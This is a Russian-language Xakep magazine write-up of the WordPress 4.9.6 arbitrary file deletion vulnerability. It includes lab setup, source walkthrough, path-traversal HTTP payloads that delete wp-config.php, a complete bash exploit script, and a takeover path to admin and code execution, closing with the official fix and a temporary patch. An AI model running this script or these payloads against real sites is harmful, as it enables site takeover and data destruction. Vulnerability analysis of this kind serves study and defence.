Хакер - Удаленное удаление. Как захватить контроль над WordPress, заставив его стереть файл
Содержание статьи
Баг был обнаружен еще 20 ноября 2017 года исследователем Славко Михайльоски Slavco Mihajloski из RIPS Tech, но вплоть до версии 4.9.7, которая вышла 5 июня 2018 года, проблема оставалась незапатченной. То есть на протяжении семи месяцев она представляла серьезную угрозу для безопасности на огромном количестве сайтов по всему миру и на многих из них продолжает представлять.
Стенд
Чтобы разобрать уязвимость, нам сначала понадобится уязвимый WordPress. Первым делом ставим контейнер с базой данных.
$ docker run -d --rm -e MYSQL_USER="wpdel" -e MYSQL_PASSWORD="4hicmMRyUq" -e MYSQL_DATABASE="wpdel" --name=mysql --hostname=mysql mysql/mysql-server
Теперь контейнер, на который поставим веб-сервер. На нем будет располагаться WordPress.
$ docker run -it --rm -p80:80 --name=wpdel --hostname=wpdel --link=mysql debian /bin/bash
Установим все нужные пакеты и расширения PHP.
$ apt-get update && apt-get install -y apache2 php php7.0-mysqli php-gd nano wget
Уязвима версия CMS под номером 4.9.6, ее и скачаем.
$ cd /tmp && wget https://wordpress.org/wordpress-4.9.6.tar.gz
$ tar xzf wordpress-4.9.6.tar.gz
$ rm -rf /var/www/html/* && mv wordpress/* /var/www/html/
$ chown -R www-data:www-data /var/www/html/
Запускаем сервис apache2.
$ service apache2 start
Теперь устанавливаем WordPress, используем наш MySQL-сервер в качестве БД.
Инсталляция WordPress 4.9.6
Уязвим механизм удаления загруженных файлов, поэтому для успешной эксплуатации юзер должен иметь привилегии на удаление медиа. Создадим такого пользователя.
Создание пользователя с привилегиями добавления медиафайлов в WordPress 4.9.6
Анализ уязвимости
В WordPress, как и в любой уважающей себя CMS, можно загружать произвольные файлы и встраивать их в публикуемые посты. Самый очевидный способ применения — это добавление фотографий. Если файл загруженной картинки больше установленных в настройках размеров, то для него создаются миниатюры (thumbnails). Самую мелкую из них можно увидеть при нажатии на кнопку редактирования картинки (в закладке медиа в разделе Thumbnail Settings).
Редактирование загруженной картинки в WordPress
Заглянем в файл post.php, где находится кусок кода, ответственный за редактирование любой записи в системе. Да, аттачи тоже считаются записями.
/wordpress/wp-admin/post.php
33: if ( $post_id )
34: $post = get_post( $post_id );
...
62: switch($action) {
В переменной $action находится действие из запроса, которое нужно выполнить. Оператор switch перенаправляет выполнение скрипта в нужную часть кода. Вот, к примеру, запрос на редактирование конкретной записи.
GET /wp-admin/post.php?post=25&action=edit HTTP/1.1
Host: wpdel.visualhack
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7,bg;q=0.6,uk;q=0.5,hu;q=0.4
При его обработке исполняется следующий кусок кода:
062: switch($action) {
...
098: case 'edit':
099: $editing = true;
...
122: if ( ! empty( $_GET['get-post-lock'] ) ) {
123: check_admin_referer( 'lock-post_' . $post_id );
124: wp_set_post_lock( $post_id );
125: wp_redirect( get_edit_post_link( $post_id, 'url' ) );
126: exit();
127: }
128:
129: $post_type = $post->post_type;
130: if ( 'post' == $post_type ) {
131: $parent_file = "edit.php";
132: $submenu_file = "edit.php";
133: $post_new_file = "post-new.php";
134: } elseif ( 'attachment' == $post_type ) {
135: $parent_file = 'upload.php';
136: $submenu_file = 'upload.php';
137: $post_new_file = 'media-new.php';
138: } else {
139: if ( isset( $post_type_object ) && $post_type_object->show_in_menu && $post_type_object->show_in_menu !== true )
140: $parent_file = $post_type_object->show_in_menu;
141: else
142: $parent_file = "edit.php?post_type=$post_type";
143: $submenu_file = "edit.php?post_type=$post_type";
144: $post_new_file = "post-new.php?post_type=$post_type";
145: }
146:
...
174: include( ABSPATH . 'wp-admin/edit-form-advanced.php' );
175:
176: break;
Погуляв немного по этой ветке кода, можно обнаружить довольно любопытный экшен.
178: case 'editattachment':
179: check_admin_referer('update-post_' . $post_id);
180:
181: // Don’t let these be changed
182: unset($_POST['guid']);
183: $_POST['post_type'] = 'attachment';
184:
185: // Update the thumbnail filename
186: $newmeta = wp_get_attachment_metadata( $post_id, true );
187: $newmeta['thumb'] = $_POST['thumb'];
188:
189: wp_update_attachment_metadata( $post_id, $newmeta );
Особенно интересен раздел Update the thumbnail filename. Переменная $newmeta содержит метаданные записи с указанным id. Ключ thumb содержит путь до миниатюры, и его значение можно изменить с помощью параметра thumb в POST-запросе. Эти данные уходят в функцию wp_update_attachment_metadata, которая расположилась чуть ниже в этом же файле.
5138: function wp_update_attachment_metadata( $attachment_id, $data ) {
5139: $attachment_id = (int) $attachment_id;
5140: if ( ! $post = get_post( $attachment_id ) ) {
5141: return false;
5142: }
...
5152: if ( $data = apply_filters( 'wp_update_attachment_metadata', $data, $post->ID ) )
5153: return update_post_meta( $post->ID, '_wp_attachment_metadata', $data );
После успешного применения фильтра с аналогичным функции названием выполнение передается в update_post_meta.
1858: function update_post_meta( $post_id, $meta_key, $meta_value, $prev_value = '' ) {
1859: // Make sure meta is added to the post, not a revision
1860: if ( $the_post = wp_is_post_revision($post_id) )
1861: $post_id = $the_post;
1862:
1863: $updated = update_metadata( 'post', $post_id, $meta_key, $meta_value, $prev_value );
Дальше вызывается функция update_metadata, которая выполняет сохранение переданных данных в базу.
/wordpress/wp-includes/meta.php
143: function update_metadata($meta_type, $object_id, $meta_key, $meta_value, $prev_value = '') {
144: global $wpdb;
...
200: $meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s AND $column = %d", $meta_key, $object_id ) );
201: if ( empty( $meta_ids ) ) {
202: return add_metadata( $meta_type, $object_id, $raw_meta_key, $passed_value );
203: }
...
247: $result = $wpdb->update( $table, $data, $where );
248: if ( ! $result )
249: return false;
Попробуем отправить запрос и посмотреть, запишется ли настройка в базу данных.
Как ты, наверное, знаешь, в WordPress присутствует защита от CSRF, которая сводится к использованию параметра _wpnonce в каждом запросе. Валидный можно взять на странице редактирования записи.
ID нашей загруженной картинки — 26, поэтому запрос будет иметь следующий вид.
POST /wp-admin/post.php?post=26 HTTP/1.1
Host: wpdel.visualhack
Content-Length: 68
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://wpdel.visualhack/wp-admin/post.php?post=26&action=edit
Cookie: <валидные_куки>
post_id=26&thumb=test/this&action=editattachment&_wpnonce=<валидный_токен>
Отправка тестового запроса на экшен editattachment
После этого заглянем в таблицу wp_postmeta и убедимся, что переданный параметр записался.
Записали атрибут thumb в метаданные загруженного файла
Теперь посмотрим, что происходит при удалении нашей картинки. Запрос на удаление обрабатывается той же веткой со switch, за это отвечает экшен delete.
/wordpress/wp-admin/post.php
246: case 'delete':
...
258: if ( $post->post_type == 'attachment' ) {
259: $force = ( ! MEDIA_TRASH );
260: if ( ! wp_delete_attachment( $post_id, $force ) )
261: wp_die( __( 'Error in deleting.' ) );
Если удаляемая запись является загруженным файлом, то выполняется wp_delete_attachment.
4993: function wp_delete_attachment( $post_id, $force_delete = false ) {
4994: global $wpdb;
...
5015: $meta = wp_get_attachment_metadata( $post_id );
...
5061: if ( ! empty($meta['thumb']) ) {
5062: // Don’t delete the thumb if another attachment uses it
5063: if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) {
5064: $thumbfile = str_replace(basename($file), $meta['thumb'], $file);
5065: /** This filter is documented in wp-includes/functions.php */
5066: $thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
5067: @ unlink( path_join($uploadpath['basedir'], $thumbfile) );
5068: }
5069: }
Итак, если thumb установлен, то, помимо самих файлов с картинками, удаляется файл, путь до которого указан в thumb. То есть мы можем передать путь до произвольного файла и воспользоваться этим механизмом, чтобы удалить его.
По умолчанию файлы складываются в /wp-content/uploads/<год>/<месяц>/, где год и месяц зависят от времени загрузки файла. Это и есть та директория, от которой нужно отталкиваться. Таким образом, путь ../../../../ приведет нас в корневую директорию установленного WordPress. А что интересного у нас в ней находится? Правильно, файл wp-config.php. Если удалить его, то система будет думать, что мы еще не выполнили установку CMS.
Попробуем это провернуть. Сначала сохраняем путь до файла в базе данных.
POST /wp-admin/post.php?post=26 HTTP/1.1
Host: wpdel.visualhack
Content-Length: 68
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://wpdel.visualhack/wp-admin/post.php?post=26&action=edit
Cookie: <валидные_куки>
post_id=26&thumb=../../../../wp-config.php&action=editattachment&_wpnonce=<валидный_токен>
А теперь нажимаем на кнопку удаления аттача, и — бам! — нас перекидывает на страницу установки WordPress. Так как этот параметр абсолютно никак не проверялся и не фильтровался, файл был успешно удален.
Дальше уже можно включить воображение. Например, выполнить установку, указав свой сервер в качестве базы данных. Тогда ты получишь привилегии администратора в CMS, а там уже прямая дорога до RCE через встроенное редактирование файлов.
Я накидал небольшой (и не слишком красивый) скриптик на bash, который автоматизирует всю работу. В качестве параметров передаем URL WordPress, логин и пароль нужного пользователя.
#!/bin/bash
echo 1 > /tmp/nonextfile.doc
rm /tmp/wpexplcookies
curl -s "$1/wp-login.php" -d "log=$2&pwd=$3&rememberme=forever&wp-submit=Log+In&testcookie=1" -c /tmp/wpexplcookies > /dev/null
wpnonce=$(curl -s "$1/wp-admin/media-new.php" -b /tmp/wpexplcookies | grep '"_wpnonce"' | grep -oP 'value="[a-z0-9]{10}"' | grep -oP '[a-z0-9]{10}')
attachid=$(curl -s "$1/wp-admin/async-upload.php" -b /tmp/wpexplcookies -F 'html-upload=Upload' -F 'post_id=0' -F "_wpnonce=$wpnonce" -F 'async-upload=@/tmp/nonextfile.doc')
wpnonces=$(curl -s "$1/wp-admin/post.php?post=$attachid&action=edit" -b /tmp/wpexplcookies | grep '_wpnonce')
wpnonce_edit=$(echo $wpnonces | grep '"_wpnonce"' | grep -oP 'value="[a-z0-9]{10}"' | grep -oP '[a-z0-9]{10}')
wpnonce_delete=$(echo $wpnonces | grep -oP 'delete.*' | grep -oP '_wpnonce=[a-z0-9]{10}' | grep -oP '[a-z0-9]{10}')
curl -s "$1/wp-admin/post.php?post=$attachid" -b /tmp/wpexplcookies -d "action=editattachment&_wpnonce=$wpnonce_edit&thumb=../../../../wp-config.php"
curl -s "$1/wp-admin/post.php?post=$attachid&action=delete&_wpnonce=$wpnonce_delete" -b /tmp/wpexplcookies
Удаляем файлы. Версия 2.0
После того как ребята из RIPS Tech выложили в паблик детали уязвимости, разработчик плагина Wordfence Мэтт Барри (Matt Barry) обнаружил еще один вариант удаления произвольного файла. Здесь нам нужно обратиться к экшену upload-attachment. Он используется при загрузке файлов с помощью AJAX.
/wordpress/wp-admin/async-upload.php
09: if ( isset( $_REQUEST['action'] ) && 'upload-attachment' === $_REQUEST['action'] ) {
10: define( 'DOING_AJAX', true );
11: }
...
27: if ( isset( $_REQUEST['action'] ) && 'upload-attachment' === $_REQUEST['action'] ) {
28: include( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
29:
30: send_nosniff_header();
31: nocache_headers();
32:
33: wp_ajax_upload_attachment();
Функция wp_ajax_upload_attachment обрабатывает переданный файл и возвращает необходимые данные после его загрузки.
/wordpress/wp-admin/includes/ajax-actions.php
2058: function wp_ajax_upload_attachment() {
...
2066: if ( ! current_user_can( 'upload_files' ) ) {
...
2095: $post_data = isset( $_REQUEST['post_data'] ) ? $_REQUEST['post_data'] : array();
...
2113: $attachment_id = media_handle_upload( 'async-upload', $post_id, $post_data );
Данные, которые передаются в параметре запроса post_data, уходят в функцию media_handle_upload. А затем попадают в wp_insert_attachment в виде аргумента $attachment.
/wordpress/wp-admin/includes/media.php
273: function media_handle_upload($file_id, $post_id, $post_data = array(), $overrides = array( 'test_form' => false )) {
...
368: // Construct the attachment array
369: $attachment = array_merge( array(
370: 'post_mime_type' => $type,
371: 'guid' => $url,
372: 'post_parent' => $post_id,
373: 'post_title' => $title,
374: 'post_content' => $content,
375: 'post_excerpt' => $excerpt,
376: ), $post_data );
...
382: $id = wp_insert_attachment( $attachment, $file, $post_id, true );
В итоге все это оказывается в функции wp_insert_post. Она сохраняет переданные данные в базу.
/wordpress/wp-includes/post.php
4957: function wp_insert_attachment( $args, $file = false, $parent = 0, $wp_error = false ) {
...
4971: return wp_insert_post( $data, $wp_error );
Тут есть интересный участок кода.
3103: function wp_insert_post( $postarr, $wp_error = false ) {
...
3493: if ( ! empty( $postarr['meta_input'] ) ) {
3494: foreach ( $postarr['meta_input'] as $field => $value ) {
3495: update_post_meta( $post_ID, $field, $value );
3496: }
3497: }
Здесь данные из meta_input сохраняются в таблицу wp_postmeta, о который мы уже знаем. Еще раз заглянем в нее.
Содержимое таблицы postmeta
В _wp_attached_file хранится путь до загруженного файла, и при удалении аттача в CMS файл удаляется из системы.
246: case 'delete':
...
260: if ( ! wp_delete_attachment( $post_id, $force ) )
4993: function wp_delete_attachment( $post_id, $force_delete = false ) {
...
5017: $file = get_attached_file( $post_id );
/wordpress/wp-includes/post.php
331: function get_attached_file( $attachment_id, $unfiltered = false ) {
332: $file = get_post_meta( $attachment_id, '_wp_attached_file', true );
4993: function wp_delete_attachment( $post_id, $force_delete = false ) {
...
5090: wp_delete_file( $file );
/wordpress/wp-includes/functions.php
5492: function wp_delete_file( $file ) {
...
5500: $delete = apply_filters( 'wp_delete_file', $file );
5501: if ( ! empty( $delete ) ) {
5502: @unlink( $delete );
5503: }
Поэтому для удаления нужного файла в запросе на загрузку передадим путь до него в качестве параметра post_data[meta_input][_wp_attached_file]. На этот раз нужный путь считается от директории /wp-content/uploads/, поэтому указываем ../../wp-config.php.
POST /wp-admin/async-upload.php?post_data[meta_input][_wp_attached_file]=../../wp-config.php HTTP/1.1
Host: wpdel.visualhack
Content-Length: 1145
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQJJgtwiCWvSPyaTV
Accept: */*
Cookie: <валидные_куки>
<данные_формы>
Результат аналогичен — удаление произвольного файла.
Выводы
В результате отправкой двух запросов уязвимость позволяет любому пользователю с привилегиями автора полностью перехватить контроль над сайтом WordPress и выполнить произвольный код на сервере. Хотя для эксплуатации и требуется учетная запись, но существует огромное количество сайтов, где можно получить такие привилегии, просто зарегистрировавшись. В любом случае этот баг стоит рассматривать как повышение привилегий.
Чтобы не стать жертвой злоумышленников, в срочном порядке обновляйся на новую версию WordPress, где добавили функцию wp_delete_file_from_directory, выполняющую необходимые проверки.
function wp_delete_file_from_directory( $file, $directory ) {
$real_file = realpath( wp_normalize_path( $file ) );
$real_directory = realpath( wp_normalize_path( $directory ) );
if ( false === $real_file || false === $real_directory || strpos( wp_normalize_path( $real_file ), trailingslashit( wp_normalize_path( $real_directory ) ) ) !== 0 ) {
return false;
}
wp_delete_file( $file );
return true;
}
Если по какой-то причине ты не можешь обновить CMS, то рекомендую воспользоваться временным патчем авторства RIPS Tech.
add_filter( 'wp_update_attachment_metadata', 'rips_unlink_tempfix' );
function rips_unlink_tempfix( $data ) {
if( isset($data['thumb']) ) {
$data['thumb'] = basename($data['thumb']);
}
return $data;
}
Этот код нужно добавить в файл functions.php твоей текущей темы. Это, конечно же, не гарантирует полную безопасность, так как не учитывает все возможные сценарии атаки. Например, через плагины. Так что настоятельно рекомендую обновиться.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei